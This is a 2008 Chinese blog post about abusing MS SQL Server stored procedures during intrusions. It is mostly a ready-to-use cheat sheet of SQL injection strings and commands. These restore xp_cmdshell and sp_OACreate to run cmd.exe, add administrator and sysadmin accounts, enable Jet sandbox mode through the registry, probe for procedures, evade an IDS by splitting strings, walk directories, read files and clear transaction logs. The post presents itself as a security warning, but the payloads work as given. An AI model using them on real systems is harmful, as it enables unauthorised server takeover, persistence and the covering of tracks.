[原创]SQL存储过程带来的安全危险

上一篇 / 下一篇  2008-02-29 10:51:41

作者:伤心的鱼
文章首发IT168安全频道转载请著名[safe.it168.com]

正文:
IT168专稿】看过笔者文章的读者可能知道,笔者在渗透的时候最喜欢使用一些存储过程有些都是已知的,但是很多人并不常用,强大的SQL存储过程带来的安全危险是不能忽视的,这里我把笔者整理的一些常用的SQL语句以及存储过程共享出来,希望能引起注意。

   
首先说一下如果我们手中有SA权限那么我们该怎么做呢?很多朋友就会想到了执行DOS命令加一个管理员权限的用户SQL执行的语句就是

   
execmaster.dbo.xp_cmdshell'net user xx xx/add'但是很多时候我们在使用工具的时候并不能成功的加用户,

   
原因可能有以下几个:

   
1.xp_cmdshell被删除
   
2.xp_cmdshell所使用的xplog70.dll被删除

   
那么如果是第一中情况的话就很简单了,我们只需要恢复存储过程就可以了。恢复存储过程的语句如下:

   

   
usemaster
   
execsp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
   
execsp_addextendedproc xp_dirtree,'xpstar.dll'
   
execsp_addextendedproc xp_enumgroups,'xplog70.dll'
   
execsp_addextendedproc xp_fixeddrives,'xpstar.dll'
   
execsp_addextendedproc xp_loginconfig,'xplog70.dll'
   
execsp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
   
execsp_addextendedproc xp_getfiledetails,'xpstar.dll'
   
execsp_addextendedproc sp_OACreate,'odsole70.dll'
   
execsp_addextendedproc sp_OADestroy,'odsole70.dll'
   
execsp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
   
execsp_addextendedproc sp_OAGetProperty,'odsole70.dll'
   
execsp_addextendedproc sp_OAMethod,'odsole70.dll'
   
execsp_addextendedproc sp_OASetProperty,'odsole70.dll'
   
execsp_addextendedproc sp_OAStop,'odsole70.dll'
   
execsp_addextendedproc xp_regaddmultistring,'xpstar.dll'
   
execsp_addextendedproc xp_regdeletekey,'xpstar.dll'
   
execsp_addextendedproc xp_regdeletevalue,'xpstar.dll'
   
execsp_addextendedproc xp_regenumvalues,'xpstar.dll'
   
execsp_addextendedproc xp_regread,'xpstar.dll'
   
execsp_addextendedproc xp_regremovemultistring,'xpstar.dll'
   
execsp_addextendedproc xp_regwrite,'xpstar.dll'
   


   
以上语句就是恢复存储过程需要的语句了,我们只需要执行以上语句就可以成功恢复存储过程,继续执行我们想要的语句,另外我再告诉大家xp_cmdshell新的恢复办法。

   
扩展储存过程被删除以后可以有很简单的办法恢复:
   
删除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
   
execsp_dropextendedproc'xp_cmdshell'

   
恢复
    dbcc addextendedproc
("sp_oacreate","odsole70.dll")
    dbcc addextendedproc
("xp_cmdshell","xplog70.dll")

   
这样可以直接恢复,不用去管sp_addextendedproc是不是存在

   
那么我们继续来解决第二个问题,如果是DLL被删了该怎么办呢?很多朋友说再传一个上去就好了,可是笔者还是感觉那样很麻烦可以执行系统命令的存储过程可还有一个,那就是SP_OAcreate,语句是:
   

    DECLARE
@shellINT EXECSP_OAcreate'wscript.shell',@shellOUTPUT EXEC SP_OAMETHOD
@shell,'run',null,'C:\WINdows\system32\cmd.exe /c net user iisloger hook /add'
   

   
上面的语句就是添加一个用户名为iisloger密码hook的用户。但是我们要注意了,使用SP_OAcreate是需要wscript.shell来支持的。如果wscript.shell被删除的话就是不能执行成功了。

   
另外在SA权限的时候我们还有一种方法可以执行系统命令,那就是我们常说的沙盒模式
   
代码如下:
   

    EXEC master
.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0    \Engine','SandBoxMode','REG_DWORD','0'
   
意思是修改注册表开启沙盒

   
Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sadfish fish /add")');
   
利用沙盒模式来添加个管理员
   


 
因为系统默认的注册表键值是不允许执行沙盒模式命令的,所以需要修改注册表。但是只有SA权限才有权利修改注册表,所以在以上两种方法都不可以用的时候就可以考虑沙盒模式
   
至于DB权限我就不用多说了,列目录寻找WEB目录从而进行备份就可以拿到WEBSHELL了,进而再进行提权。

   
下面我在列出一些笔者常用的语句给大家参考

   
检测xp_cmdshell(CMD命令)|
   
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell')

   
检测xp_regread(注册表读取功能)|
   
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_regread')

   
检测sp_makewebtask(备份功能)|
   
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='sp_makewebtask')

   
检测sp_addextendedproc|
   
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='sp_addextendedproc')

   
检测xp_subdirs读子目录|
   
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_subdirs')

   
检测xp_dirtree读子目录|
   
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_dirtree')

   
检测SP_OAcreate(执行命令)|
   
and1=(SELECT count(*)FROM master.dbo.sysobjects WHERE name='SP_OAcreate')

   
执行CMD命令SP_OAcreate
   
;DECLARE@shellINT EXECSP_OAcreate'wscript.shell',@shellOUTPUT EXEC SP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add'

    sp_OACreate

   
运行CMD并显示回显的要求是Wscript.shellScripting.FileSystemObject可用 //要记住这点,如果服务器over了,wscript.shell那么这存储过程也没多大的用了在注入方面。

   
建目录SP_OAcreate|
   
;DECLARE@shellINT EXECSP_OAcreate'wscript.shell',@shellOUTPUT EXEC SP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'

   
创建一个虚拟目录E盘|
   
;declare@ointexecsp_oacreate'wscript.shell',@ooutexecsp_oamethod@o,'run',NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'

   
设置虚拟目录为可读e|
   
;declare@ointexecsp_oacreate'wscript.shell',@ooutexecsp_oamethod@o,'run',NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

启动server服务|
   
;execmaster..xp_servicecontrol'start','server'当然你也可以启动其它服务

   
绕过IDS的检测的xp_cmdshell|
   
;declare@asysname set@a='xp_'+'cmdshell'exec@a'dir c:\'

    开启远程数据库1|
    ; select * from OPENROWSET('
SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select*fromtable1' )

    开启远程数据库2|
    ;select * from OPENROWSET('
SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select*fromtable'

    添加mssql和系统的帐户
    ;exec master.dbo.sp_addlogin username;--

    ;exec master.dbo.sp_password null,password,username;--

    ;exec master.dbo.sp_addsrvrolemember sysadmin username;--

    ;exec master.dbo.xp_cmdshell '
net user username password
/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--

    ;exec master.dbo.xp_cmdshell '
net user username password/add';--

    ;exec master.dbo.xp_cmdshell '
net localgroup administrators username/add';--

    遍历目录  /不一定用来遍历目录,你也可以把xp_cmdshell执行的结果,插入表中

    ;create table dirs(paths varchar(100), id int)  
    ;insert dirs exec master.dbo.xp_dirtree '
c:\'  
    ;and (select top 1 paths from dirs)>0
    ;and (select top 1 paths from dirs where paths not in('
上步得到的paths'))>)

    遍历目录
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
    ;insert into temp(id) exec master.dbo.xp_subdirs '
c:\';-- 获得子目录列表
    ;insert into temp(id,num1) exec master.dbo.xp_dirtree '
c:\';-- 获得所有子目录的目录树构
    ;insert into temp(id) exec master.dbo.xp_cmdshell '
type c:\web\index.asp';-- 查看文件的内容

    删除日志:
    DUMP  TRANSACTION sdfsdfsdf WITH NO_LOG

TAG:

引用 删除 随便看看   /   2008-03-06 07:58:01
踩踩
 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-08-08  
     12
3456789
10111213141516
17181920212223
24252627282930
31      

数据统计

  • 访问量: 1682
  • 日志数: 10
  • 建立时间: 2008-02-26
  • 更新时间: 2008-04-23

RSS订阅

Open Toolbar